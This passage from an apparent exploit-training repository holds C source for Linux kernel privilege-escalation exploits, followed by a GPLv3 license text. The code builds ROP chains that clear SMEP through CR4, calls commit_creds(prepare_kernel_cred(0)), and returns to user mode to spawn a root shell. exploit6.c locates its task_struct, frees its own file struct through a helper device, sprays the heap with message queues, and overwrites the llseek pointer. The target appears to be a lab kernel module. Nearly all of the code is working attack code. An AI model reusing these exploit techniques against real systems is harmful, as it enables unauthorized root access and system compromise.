| unsigned long base; 122 | unsigned int size = 0; //sizeof(struct kacmd_sbof_params)+sizeof(struct rop_chain); 123 | char * mmap_page; 124 | void * kernel_stack; 125 | 126 | init(); 127 | 128 | kip.cmd = KACMD_INFO; 129 | write_dev(cmd, (char*)&kip, sizeof(kip), 0); 130 | read_dev(cmd, (char*)&kir, sizeof(kir), 0); 131 | printf("[I] Vpg: %p Ppg: %p Epg: %p\n", kir.pg_vaddress, kir.pg_paddress, kir.exec_paddress); 132 | printf("[I] code: %p data: %p bss: %p\n", kir.kernel_code, kir.kernel_data, kir.kernel_bss); 133 | printf("[I] cr4: %lx masked: %lx\n", kir.cr4, kir.cr4 & CR4_MASK); 134 | 135 | // mmap page 136 | kernel_stack = (void*)((ESP_VAL-0xd000) & 0xfffffffffffff000); 137 | printf("[I] Trying to create fake stack at %p\n", kernel_stack); 138 | mmap_page = (char*)mmap(kernel_stack, 0xf000, PROT_READ | PROT_WRITE, MAP_PRIVATE|MAP_FIXED| MAP_GROWSDOWN | MAP_ANONYMOUS | MAP_POPULATE, -1, 0); 139 | if (mmap_page != kernel_stack) 140 | { 141 | fprintf(stderr, "[E] Failed to mmap fake stack page: %p\n", mmap_page); 142 | perror("[E] Error: "); 143 | exit(1); 144 | } 145 | 146 | base = (unsigned long)kir.kernel_code; 147 | save_state(); 148 | if (argc == 1) 149 | { 150 | ropc2 = (struct rop_chain_smep*)ESP_VAL; 151 | KERNEL_BASE = kir.kernel_code; 152 | ropc2->pop_rdi = base + POP_RDI; 153 | ropc2->cr4 = kir.cr4 & CR4_MASK; 154 | ropc2->write_cr4 = base + WRITE_CR4; 155 | ropc2->elevate_priv = &get_root_payload; 156 | ropc2->swapgs = base + SWAPGS_RBP; 157 | ropc2->junk = 0x4242424242424242; 158 | ropc2->iret = base + IRETQ; 159 | ropc2->shell = (unsigned long)&spawn_shell; 160 | ropc2->cs = user_cs; 161 | ropc2->rflags = user_rflags; 162 | ropc2->rsp = (unsigned long)&base; 163 | ropc2->ss = user_ss; 164 | } 165 | else 166 | { 167 | ropc = (struct rop_chain*)ESP_VAL; 168 | ropc->pop_rdi0 = base + POP_RDI; 169 | ropc->rdi = 0; 170 | ropc->prep_creds = base + KERNEL_CREDS; 171 | ropc->pop_rdx = base + POP_RDX; 172 | ropc->rdx = base + POP_RDI; 173 | ropc->push_rax_rdx = base + PUSH_RAX_RDX; 174 | //ropc->pop_rdi1 = base + POP_RDI; 175 | ropc->commit_creds = base + COMMIT_CREDS; 176 | ropc->swapgs = base + SWAPGS_RBP; 177 | ropc->junk = 0x4242424242424242; 178 | ropc->iret = base + IRETQ; 179 | ropc->shell = (unsigned long)&spawn_shell; 180 | ropc->cs = user_cs; 181 | ropc->rflags = user_rflags; 182 | ropc->rsp = (unsigned long)&base; 183 | ropc->ss = user_ss; 184 | } 185 | 186 | kcp.address = (void*)(base + MOV_ESP); 187 | kcp.cmd = KACMD_CALL_SIMPLE; 188 | 189 | write_dev(cmd, (char*)&kcp, sizeof(struct kacmd_call_params), 0); 190 | 191 | if (argc == 1) 192 | { 193 | spawn_shell(); 194 | } 195 | fini(); 196 | } 197 | -------------------------------------------------------------------------------- /exploit6/exploit6.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | // 0x30 bytes not controlled (properly) 10 | #include 11 | #include 12 | 13 | #include 14 | 15 | 16 | #include 17 | #include 18 | 19 | #define TASK_PID 2184 20 | #define TASK_NEXT 1928 21 | #define TASK_CRED 2600 22 | #define TASK_FILES 2672 23 | #define INIT_OFFSET 66816 24 | 25 | #define ALLOC_LEN 248 26 | #define KERNEL_CREDS 0xab7a0 27 | #define COMMIT_CREDS 0xab3f0 28 | 29 | unsigned long KERNEL_BASE; 30 | unsigned long STACK; 31 | 32 | char readbuff[TASK_FILES+40]; 33 | 34 | #pragma pack(push, 1) 35 | struct fops_dummy{ 36 | char dc0[8]; 37 | void* llseek; 38 | char dc1[232]; 39 | }; 40 | 41 | struct file_dummy{ 42 | char dc0[40]; 43 | struct fops_dummy* f_ops; 44 | char dc1[20]; 45 | unsigned long mode; 46 | char dc2[180]; 47 | }; 48 | 49 | struct files_struct_dummy{ 50 | char dc0[32]; 51 | unsigned long fdt; 52 | char dc1[120]; 53 | unsigned long fd_array[64]; 54 | }; 55 | 56 | 57 | #pragma pack(pop) 58 | 59 | void find_current_task(void* kernel_data) { 60 | unsigned long task_addr; 61 | unsigned long next_task; 62 | int kpid; 63 | int pid = getpid(); 64 | printf("[I] Finding struct task_struct for pid %d\n", pid); 65 | 66 | task_addr = (unsigned long) kernel_data + INIT_OFFSET; 67 | printf("[I] Init struct at %lx\n", task_addr); 68 | 69 | read_dev(vmem, readbuff, sizeof(readbuff), task_addr); 70 | kpid = *(int*)(readbuff+TASK_PID); 71 | next_task = *(unsigned long*)(readbuff + TASK_NEXT); 72 | printf("[I] task_struct of proc %d next task at: %lx\n", kpid, next_task); 73 | while (kpid != pid) 74 | { 75 | if (next_task == 0) 76 | { 77 | fprintf(stderr, "[E] something went wrong!\n"); 78 | exit(1); 79 | } 80 | read_dev(vmem, readbuff, (TASK_FILES-TASK_NEXT)+sizeof(void*), next_task); 81 | kpid = *(int*)(readbuff+TASK_PID-TASK_NEXT); 82 | task_addr = next_task; 83 | next_task = *(unsigned long*)readbuff; 84 | //printf("[I] task_struct of proc %d next task at: %lx\n", kpid, next_task); 85 | } 86 | printf("[I] task_struct for proc %d is at %lx\n", pid, task_addr - TASK_NEXT); 87 | } 88 | 89 | unsigned long find_file_struct(int fd) 90 | { 91 | struct files_struct_dummy fsd; 92 | unsigned long file_p; 93 | unsigned long files_p = *(unsigned long*)(readbuff + TASK_FILES - TASK_NEXT); 94 | printf("[I] Files_struct is at %lx\n", files_p); 95 | read_dev(vmem, (char *)&fsd, sizeof(struct files_struct_dummy), files_p); 96 | file_p = fsd.fd_array[fd]; 97 | printf("[I] struct file for fd: %d is at %lx\n", fd, file_p); 98 | return file_p; 99 | } 100 | void spawn_shell(void){ 101 | //system("/bin/sh"); 102 | execv("/bin/sh", NULL); 103 | 104 | fini(); 105 | exit(0); 106 | } 107 | 108 | // stolen from https://www.slideshare.net/VitalyNikolenko/linux-smep-bypass-techniques 109 | unsigned long user_cs; 110 | unsigned long user_ss; 111 | unsigned long user_rflags; 112 | static void save_state() { 113 | asm( 114 | "movq %%cs, %0\n" 115 | "movq %%ss, %1\n" 116 | "pushfq\n" 117 | "popq %2\n" 118 | : "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory"); 119 | } 120 | typedef unsigned long __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); 121 | typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); 122 | 123 | long long payload(void* file, unsigned long offset, int whence){ 124 | int stack; 125 | ((_commit_creds)(KERNEL_BASE + COMMIT_CREDS))( 126 | ((_prepare_kernel_cred)(KERNEL_BASE + KERNEL_CREDS))(0) 127 | ); 128 | /* asm("push %0\n\t" //ss */ 129 | /* "push %1\n\t" //rsp */ 130 | /* "push %2\n\t" //rflags */ 131 | /* "push %3\n\t" //cs */ 132 | /* "push %4\n\t" //shell */ 133 | /* "iretq" */ 134 | /* : */ 135 | /* : "r" (user_ss), "r" (STACK), "r" (user_rflags), "r" (user_cs), "r" (&spawn_shell)); */ 136 | 137 | 138 | // TODO remove modified file from task fds 139 | // look at sys_close and clean up the fd from task->files 140 | asm("movq %0, %%rcx\n\t" //rip 141 | "movq %1, %%r11\n\t" //rflags 142 | "movq %2, %%rsp\n\t" //rsp 143 | "swapgs\n\t" 144 | "sysretq" 145 | : 146 | : "r" (&spawn_shell), "r" (user_rflags), "r" (STACK)); 147 | return 0; 148 | } 149 | 150 | int main(int argc, char** argv){ 151 | struct kacmd_info_params kip; 152 | struct kacmd_info_resp kir; 153 | struct kacmd_kfree_params kkp; 154 | struct kacmd_kmalloc_params kmp; 155 | struct kacmd_kmalloc_resp kmr; 156 | unsigned long file_p, fop_p; 157 | struct msghdr ctrl; 158 | //char cdata[ALLOC_LEN]; 159 | struct file_dummy file; 160 | struct fops_dummy fop; 161 | int fd, sfd, msqid; 162 | int i, j; 163 | unsigned long km_address = 0; 164 | struct {long mtype; char mtext[(ALLOC_LEN-0x30)];} msg = {0x414141414141, {0}}; 165 | kip.cmd = KACMD_INFO; 166 | 167 | init(); 168 | 169 | write_dev(cmd, (char*)&kip, sizeof(kip), 0); 170 | read_dev(cmd, (char*)&kir, sizeof(kir), 0); 171 | printf("[I] Vpg: %p Ppg: %p Epg: %p\n", kir.pg_vaddress, kir.pg_paddress, kir.exec_paddress); 172 | printf("[I] code: %p data: %p bss: %p\n", kir.kernel_code, kir.kernel_data, kir.kernel_bss); 173 | KERNEL_BASE = kir.kernel_code; 174 | STACK = &fop; 175 | find_current_task(kir.kernel_data); 176 | fd = open(argv[0], O_RDONLY); 177 | if (fd < 0) 178 | { 179 | printf("[E] Failed to open file: %s, terminating!\n", argv[0]); 180 | exit(1); 181 | } 182 | printf("[I] opened file fd: %d\n", fd); 183 | file_p = find_file_struct(fd); 184 | 185 | printf("[I] create socket for future slab control\n"); 186 | sfd = socket(AF_UNIX, SOCK_STREAM, 0); 187 | if (sfd < 0) 188 | { 189 | printf("[E] Failed to create sock: %s, terminating!\n", argv[0]); 190 | exit(1); 191 | } 192 | // prepare structures 193 | // free file_p 194 | kkp.cmd = KACMD_KFREE; 195 | kkp.address = (void*) file_p; 196 | // payload for overwrite 197 | memset(&ctrl, 0, sizeof(struct msghdr)); 198 | memset(&file, 0, sizeof(struct file_dummy)); 199 | memset(&fop, 'A', sizeof(struct fops_dummy)); 200 | ctrl.msg_namelen = 1; 201 | ctrl.msg_control = &file; 202 | ctrl.msg_controllen = ALLOC_LEN; 203 | ((unsigned int*)&file)[0] = 1; 204 | file.f_ops = &fop; 205 | file.mode = 0x4; // SET FMODE_LSEEK 206 | fop.llseek = (void*)&payload; 207 | save_state(); 208 | // spray heap 209 | printf("[I] Fill up holes in slab cache\n"); 210 | for (j = 0; j < 10; j++) 211 | { 212 | if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) { 213 | printf("[E] Failed to get msgqueue\n"); 214 | exit(1); 215 | } 216 | for (i = 0; i < 64; i++) { 217 | if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) { 218 | printf("[E] Failed to send IPC\n"); 219 | exit(1); 220 | } 221 | } 222 | } 223 | // for future use 224 | if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) { 225 | printf("[E] Failed to get msgqueue\n"); 226 | exit(1); 227 | } 228 | 229 | // free file struct 230 | printf("[I] Free the file struct\n"); 231 | write_dev(cmd, (char*)&kkp, sizeof(kkp), 0); 232 | // allocate overwrite 233 | if (argc > 1) 234 | { 235 | i = 0; 236 | kmp.cmd = KACMD_KMALLOC; 237 | kmp.flag = 0; 238 | kmp.size = ALLOC_LEN; 239 | while(km_address != file_p && i < 10000){ 240 | write_dev(cmd, (char*)&kmp, sizeof(kmp), 0); 241 | read_dev(cmd, (char*)&kmr, sizeof(kmr), 0); 242 | km_address = (unsigned long)kmr.address; 243 | i++; 244 | } 245 | printf("[I] Success after %d attempts, %lx\n", i, km_address); 246 | fop_p = &fop; 247 | write_dev(vmem, (char*)&fop_p, sizeof(unsigned long), file_p + 40); 248 | fop_p = 0x4; 249 | write_dev(vmem, (char*)&fop_p, sizeof(unsigned long), file_p + 68); 250 | getchar(); 251 | lseek(fd, 0, SEEK_SET); 252 | 253 | } else { 254 | for (i=0; i<20; i++) 255 | { 256 | printf("[I] Spraying heap %d\n", i); 257 | sendmsg(sfd, &ctrl, 0); 258 | lseek(fd, 0, SEEK_SET); 259 | msgsnd(msqid, &msg, sizeof(msg.mtext), 0); 260 | } 261 | } 262 | 263 | //system("/bin/sh"); 264 | 265 | fini(); 266 | 267 | } 268 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. 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No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | {one line to give the program's name and a brief idea of what it does.} 635 | Copyright (C) {year} {name of author} 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | {project} Copyright (C) {year} {fullname} 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | --------------------------------------------------------------------------------